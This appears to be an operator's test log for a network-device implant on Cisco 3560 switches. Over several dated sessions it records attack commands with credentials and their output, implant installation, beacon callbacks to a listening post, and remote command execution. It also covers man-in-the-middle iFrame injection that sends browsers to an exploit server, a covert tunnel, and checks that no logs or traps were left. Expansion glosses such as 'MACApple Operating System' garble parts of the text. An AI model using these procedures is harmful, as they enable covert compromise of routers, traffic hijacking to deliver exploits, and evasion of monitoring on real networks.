Owner: User #1179928

JQJSlasher - Ops Testing

Cisco - 3560   IP:192.168.200.10

ICON-CT: 172.20.12.29 / Seeds Host 192.168.32.10 - VLAN32

Testing to focus on the following capabilities:

1. Install
2. Trigger
3. Shell access
4. MITM iFrame injectionSmoke Test Install / Functionality test 

1. Install HG (no AAASecurity Server from Cisco) / Set up basic comms with implant
2. Un-tar delivery to ICON: /home/user1/slasher-2h_20150725/bin/ops/slasher-2h/
3. Change ../slasher-2h/remote/data/config/npc3/target.py interPacketTime to 0.1 seconds
4. nano ../ops/slash/slasher-2h/hg/slasher-2h.txt 
   1. Change Interface = eth0
   2. Change Trigger address = 192.168.32.10 (Seeds host)
5. Attack w/ SSHIAC from ICON: ./sshiac --ip 192.168.200.10:22 --l cisco:cisco password

   1. LG
      EC -125
      DH
      EC -60

      EC -159
      M

6. #cd ../../remote/
   1. source aliaeses
   2. remote>broad
   3. ./seq set 1
   4. remote>broad = GOOD - status OK
   5. nano target-aliases
      1. Change target ip = 192.168.200.10
      2. ProcID = 0x10423185
   6. Ran: ../slasher-2h/hg# ./prep-ct.sh
      1. = "File copy complete. CutThroat is ready for use."
   7. remote>hg_start
      1. = done, GOOD - status OK
      2. Result: 0xfffffffb (on 3560-24 #1 - stopped testing and tried 2nd switch from step 5)
      3. Result: 0x00000001 (on 2nd 3560-24)
   8. Make listen window:
      1. ./cutthroat ilm_hg.so
      2. ilm listen slasher-2h.txt
   9. Make trigger window:
      1. ./cutthroat ilm_hg.so
      2. ilm trigger slasher-2h.txt
      3. beacon call_base_back https 172.20.12.29 443
         1. SSL Handshake completes in listen window
7. Test basic functionality of initial install
   1. In listen window> modeule show
      1. = All modules running after initial install
      2. = All commands tab out
8. Test HG Install with AAASecurity Server from Cisco configured similar to target device
   1. Configure 3560 with AAASecurity Server from Cisco settings from target config
   2. Save config and reload 3560 target to start with a clean switch
   3. Test ssh to confirm AAASecurity Server from Cisco works natively:
      1. ssh -l root 192.168.200.10
         1. password: password
         2. >en = password
         3. = successful login
   4. Attack with SSHIAC
      1. ./sshiac --ip 192.168.200.10:22 --l root:password password

         1. LG
            EC -122
            E gs failed
            E

      2. ./sshiac -c  --ignor --ip 192.168.200.10:22 --l root:password password

         1. BUILD NUMBER: SSH-415-P

            username: larry
            password: password
            enable: password
            IP: 192.168.200.10:22
            ignore logging

            press ENTER to continue or Ctrl-c to stop

            LG
            EC -122
            E gs failed
            E

      3.  ./sshiac -v -d --forceenable --confirm --ignorelog --ip 192.168.200.10:22 --l root:password password

BUILD NUMBER: SSH-415-P

username: root
password: password
enable: password
IP: 192.168.200.10:22
verbose
debug
force enable mode
ignore logging

press ENTER to continue or Ctrl-c to stop

L
3560-target>
3560-target>
3560-target>en
Password:
3560-target#term len 0x0
3560-target#term width 0
3560-target#show proc | i Virtual Exec|SSH
89 M* 0 378 171 2210 9728/12000 1 SSHSecure Shell Process
270 Mwe 12EAAE4 25 36 694 5040/6000 0 SSHSecure Shell Event handle
3560-target#
3560-target>
3560-target>
3560-target>en
Password:
3560-target#show region
Command authorization failed.

3560-target#term len 0
3560-target#show proc | i Virtual Exec|SSH
89 ME 2462A4 496 172 2883 9728/12000 1 SSHSecure Shell Process
266 M* 0 370 169 2189 9724/12000 2 SSHSecure Shell Process
270 Mwe 12EAAE4 25 36 694 5040/6000 0 SSHSecure Shell Event handle
3560-target#Gshow users | i \*
* 2 vty 1 root idle 00:00:00 172.20.12.29
3560-target#show ver | i IOS\ |BOOTLDR:
Cisco IOSApple operating system for small devices Software, C3560 Software (C3560-ADVIPSERVICESK9-M), Version 12.2(37)SE, RELEASE SOFTWARE (fc2)
BOOTLDR: C3560 Boot Loader (C3560-HBOOT-M) Version 12.2(44)SE5, RELEASE SOFTWARE (fc1)
3560-target#show stacks 266
Command authorization failed.

3560-target#
EC -122
E gs failed
exitexit
E

**********************************************************************

Thursday 8/6/15 - User #78022 Testing

*Unsure where exactly where User #? left off, reloaded the 3560, attempted to re-attack

1. SSHIAC attack  
   1. Result w/no flags:

      ttack/linux$ ls sshiac user1@slasher-icon:~/slasher-2h_20150725/bin/ops/slasher/slasher-2h/attack/linux$ ./sshiac --ip 192.168.200.10:22 -l cisco:cisco password L ECEdgeCase -76

      EC -129 E user1@slasher-icon:~/slasher-2h_20150725/bin/ops/slasher/slasher-2h/attack/linux$

   2. Result with flags:

      user1@slasher-icon:~/slasher-2h_20150725/bin/ops/slasher/slasher-2h/attack/linux$ ./sshiac -v -d --forceenable --confirm --ignorelog --ip 192.168.200.10:22 -l cisco:cisco password BUILD NUMBER: SSH-415-P

       username: cisco  password: cisco  enable:   password  IP:  192.168.200.10:22  verbose  debug  force enable mode  ignore logging

      press ENTER to continue or Ctrl-c to stop

      L ECEdgeCase -76

      EC -129 E

   3. Result when not being stupid and using the right username / password:

      root@slasher-icon:/home/user1/slasher-2h_20150725/bin/ops/slasher/slasher-2h/attack/linux# ./sshiac -v -d --forceenable --ignorelog --ip 192.168.200.10:22 --l root:password password BUILD NUMBER: SSH-415-P

       username: root  password: password  enable:   password  IP:  192.168.200.10:22  verbose  debug  force enable mode  ignore logging

      press ENTER to continue or Ctrl-c to stop

      EC -60

      EC -159 exit M

2. Successfully used Remote to install HG:  

   1.  Set sequence number and broad: [target:192.168.200.10] remote> ./seq set 1 608 -> 1 [target:192.168.200.10] remote> broad 

      1. GOOD - status OK. OP: BROADCAST Target NEXT -->2<-- IACInternational Access Code Software Version 41.5 (Arch: PPCPowerPC (IBM))   Target Software (C3560-ADVIPSERVICESK9-M), Version 12.2(37)SE

                                Proc ID: 0x10423191                  Next Sequence: 0x2

   2.  [target:192.168.200.10] remote> hg_start

      1. GOOD - status OK. OP: RUNCODE using Per Second     Code address: 0x03287d98     No data     Result: 0x00000001

3. NOTE - Recreated User #?'s steps 6-8 from above, no need to list it all out
4.  

************************************************************************************

Friday 8/7/15

Installed 3560-48port in place of 24-port target switch above. Loaded 12.2(37) SE IOSApple operating system for small devices on it and copied over previous config.

1. Attacked 3560-48TS-S without AAASecurity Server from Cisco configured on switch successfully ./sshiac -v -d --confirm --forceenable --ignorlog --ip 192.168.200.10:22 --l cisco:cisco password 
   1. = all modules up and running after installing HG and getting comms.
   2. reloaded switch to remove HG
2. Configured AAASecurity Server from Cisco on target 3560-48TS-S switch just as the target config is configured.
   1. Tried several syntaxes of ./sshiac, however, the only one that worked was as follows:
      1. ./sshiac -c --ignor --ip 192.168.200.10:22 --l root:password password

         1. BUILD NUMBER: SSH-415-P

            username: root
            password: password
            enable: password
            IP: 192.168.200.10:22
            ignore logging

            press ENTER to continue or Ctrl-c to stop

            LG
            EC -125
            DH
            EC -60

            EC -159
            M

      2. cd ../../remote/
      3. Prior to HG install, target CPU= 60s - 5% w/ 35% spike, 60min - 5% w/ 35% spike, 72hrs - 35% average with 70% spikes
         1. source aliaeses
         2. remote>broad
         3. ./seq set 1
         4. remote>broad = GOOD - status OK
         5. nano target-aliases
            1. Change target ip = 192.168.200.10
            2. ProcID = 0x13022407
         6. >hg_start, CPU = 60s - 21% spike
         7. Show Memory on target:

            1.                   Head              Total(b)      Used(b)     Free(b)       Lowest(b)   Largest(b)
               Processor  20BE480        91495296  20857396   70637900  69931132   69881184
               I/O             7800000         8380416    3587852    4792564     4711952     4791152
               Driver te    1400000         1048576    44              1048532     1048532     1048532

         8. No additional logs, No additional commands in "show history", No logs on TACACS+ for "root"
      4. In listen window on ICON> ./cutthroat ilm_hg.so
         1. ilm listen slasher-2h.txt    = Listening for clients on port 443
      5. In trigger window on ICON> ./cutthroat ilm_hg.so
         1. ilm trigger slasher-2h.txt
         2. >beacon call_base_back https 172.20.12.29 443
         3. Listen window does SSLSecure Socket Layer handshake to establish comms
      6. In Listen window - >module show = all modules running 
      7. HG Listen> modeule start FilterBroker.mod
         1. modeule show = FilterBroker running
      8. HG Listen> module start default:ACEMod.mod
         1. module show = ACEApplication Control Engine (Module) running
3. Run series of ACEApplication Control Engine (Module) exec (shell) commands from HG listen window
   1. HG Listen> cmd exec "show run"
   2. HG Listen> cmd exec "sh config"
   3. HG Listen> cmd exec "sh vlan"
   4. HG Listen> cmd exec "sh user"
   5. HG Listen> cmd exec "dir flash"
   6. HG Listen> cmd exec "sh clock"
   7. Enter a native command that requires a series of commands:
   8. HG Listen> cmd exec "sh ip int br"
   9. HG Listen> cmd exec "sh configuration id"
   10. HG Listen> cmd exec "sh dhcp server"
   11. HG Listen> cmd exec "sh int switch"
   12. HG Listen> cmd exec "sh int counters"
   13. HG Listen> cmd exec "sh int counters errors"
   14. HG Listen> cmd exec "sh int accounting"
   15. HG Listen> cmd exec "sh int irb"
   16. HG Listen> cmd exec "sh int mtu module 1"
   17. HG Listen> cmd exec "traceroute 1.1.1.1"  = success, with traceroute output
   18. HG Listen> cmd exec "ping 1.1.1.1" = success with round trip statistics
   19. HG Listen> cmd exec "traceroute 3.3.3.3" = successful in that output shows to a destination that cannot be reached
   20. HG Listen> cmd exec "ping 3.3.3.3" = successful in that out put of 0 replies is received
   21. Execute invalid commands and verify they fail gracefully:
   22. HG Listen> cmd exec "show test"
   23. HG Listen> cmd exec "sh home"
   24. HG Listen> cmd exec "traceroute 3.3.3.3"
   25. ssh back to target 3560 and confirm that Tacacs logs the connection. Run "sh history" and verify no commands executed via HG show.
   26. No console messages, no logs, no SNMPSimple Network Management Protocol traps
       
       

4. SMITE iFrame injection

   1. HG Listen> mitm create http_iframe 192.168.21.10 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
   2. >mitm show = confirms rule is active
   3. Clear browsing history on target host
   4. Browse to X.X.X.XX (LVLT-GOGL-8-8-8[US]) --> receive normal web page
   5. Iframe is injected into web page, viewed in source URL
   6. Windex server attempts to exploit SEEDS host
   7. Cleared browsing cache on SEEDS host, reloaded page
   8. iFrame is injected again into web page, vewed in source URL
   9. >mitm delete 1  = removed mitm rule
      1. >mitm show  = no rules found
      2. Clear cache on SEEDS host, reload page  =  no/no iFrame injection

   10. mitm create http_iframe 192.168.32.10 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -ac 3 -en -bc -bk (Creates 3 iFrame injections)

       1. Clear browser cache and reload target browser = iFrame injection

          1. Clear browser cache and reload target browser = iFrame injection
       2. Clear browser cache and reload target browser = no/no iFrame injection as expected
       3. >mitm delete 2  =  rule is removed
       4. No console messages, no logs, no SNMPSimple Network Management Protocol traps
5. Drillbit / Tunnel
   1. HG Listen>web get_snooped_host_list_client 0 0
      
      1. = Seeds host shows in snooped list w/ 192.168.32.10 / 0050.5688.9754 / VLAN32 / Next-hop MACApple Operating System 0024.98AD.CBC3
   2. nano .../slasher/slasher-2h/hg/tools/dualor/config/dualor-endpoint.ini
      1. Change Protocol = CommsW  &  Interface = eth0
   3. Create Dualor Listen Window > cd ../slasher/slasher-2h/hg/tools/dualor/linux
      1. ./Dualor ../config/dualor-endpoint.ini  =  Listening for client on port 80
   4. HG Listen>module start default:CovertTunnel.mod  = successful start
      1. HG Listen> module show = Tunnel module now running
   5. Create Dualor Trigger window > cd ../slasher/slasher-2h/gh/tools/dualor/config
   6. nano dualor-callback.ini
      1. TapIPAddr = 192.168.32.11 / Protocol = CommsW / VLANVirtual Local Area Network = 32 / OpenSession_WEB IP = 172.20.12.29
   7. cp dualor-callback.ini ../../../   (to hg folder)
   8. HG Listen>tun init dualor-callback.ini
      1. = Tunnel establishes on Dualor Listen window

      2. Accepted new client connection (192.168.32.10) on interface (172.20.12.29) eth0
         Performing authentication on new client connection
         Performing key exchange with the tunnel endpoint...
         Successfully performed key exchange with the tunnel endpoint!
         Connected with device UID: 002498adcb80
         Opened the TAPVirtual Network kernel device interface tap0
         Setting the tap0 interface status to down

         tap0 Interface Parameters:
         IP Address: 192.168.32.11
         Subnet Mask: 255.255.255.0
         MACApple Operating System Address: 00-27-19-48-00-85

         Setting the tap0 interface status to up
         Tunnel is now active

   9. ICON> route add -net 192.168.32.0 netmask 255.255.255.0 dev tap0
   10. route -n  =  route to target VLANVirtual Local Area Network via Tap0 interface
   11. HG Listen> tun show
       1. = Tunnel Session ID#1 with tap address of 192.168.32.11
   12. Start Wireshark on Tap0
   13. ICON>route add -net 192.168.200.0 netmask 255.255.255.0 dev tap0
       1. ICON>ssh cisco@192.168.200.9  =  confirm that ssh traffic is traversing Tap0 and that ssh connection establishes
   14. Add-hoc tunnel test:
       
       1. Start ping from ICON to 192.168.200.26. Ensure that it's capturing on Tap0 interface in Wireshark
       2. Console to 3560 Target and shut down G0/2
          1. = pings fail and starts to ARPAddress Resolution Protocol for 192.168.200.26
          2. >tun show = no active tunnel
          3. Must Cntrl-C to force close tunnel, re-establish tunnel
          4. Starting pings again is successful once OSPFOpen Shortest Path First re-converges
       3. "no shut" G0/2 on target  =  pings still continue even as link goes from "loading" to "full" in OSPF
   15. HG Listen>tun close #  =  tunnel closes
   16. HG Listen>tun show  =  no tunnel
   17. ICON> route -n  =  no more Tap0 routes
6. ACL Analysis
   1. Acess-list 10 only permits NTPNetwork Time Protocol from peers 192.168.73.16, 192.168.73.32, 192.168.18.145
   2. Access-list 20 only permits vty access to 3560 vty 0 15 from 192.168.73.3, 192.168.73.10, 192.168.18.146, 192.168.18.145
   3. Access-list 30 permits snmp to community "@m0n1t0r1ng" IP's 192.168.18.143 - 145
   4. Acceess-list 53 permits snmp v3 priv to 192.168.253.5, 172.16.13.11, and 172.16.10.11
   5. Access-list 99 permits snmp v3 auth to 192.168.18.67
7. OSPF manipulation 
   1. Take down preferred path so OSPFOpen Shortest Path First fails over to redundant link
   2. ....
8. Attack 3560 target from an IP that is not logged in target space without the sshiac --ignorlog flag
   1. Reload target 3560 to start with clean switch
   2. Confirm SNMPSimple Network Management Protocol traps being sent by shut / no shut uplink interface
   3. ICON> ./sshiac -c --ip 192.168.200.10:22 --l root:password password   

      1. BUILD NUMBER: SSH-415-P

         username: root
         password: password
         enable: password
         IP: 192.168.200.10:22

         press ENTER to continue or Ctrl-c to stop

         L
         EC -144
         E l o g failed
         E

   4. ICON> ./sshiac --ip 192.168.200.10:22 --l root:password password (syntax from readme)

      1. L
         EC -144
         E l o g failed
         E

   5. ICON> ./sshiac -c --ignor --ip 192.168.200.10:22 --l root:password password

      1. BUILD NUMBER: SSH-415-P

         username: root
         password: password
         enable: password
         IP: 192.168.200.10:22
         ignore logging

         press ENTER to continue or Ctrl-c to stop

         LG
         EC -125
         DH
         EC -60

         EC -159
         M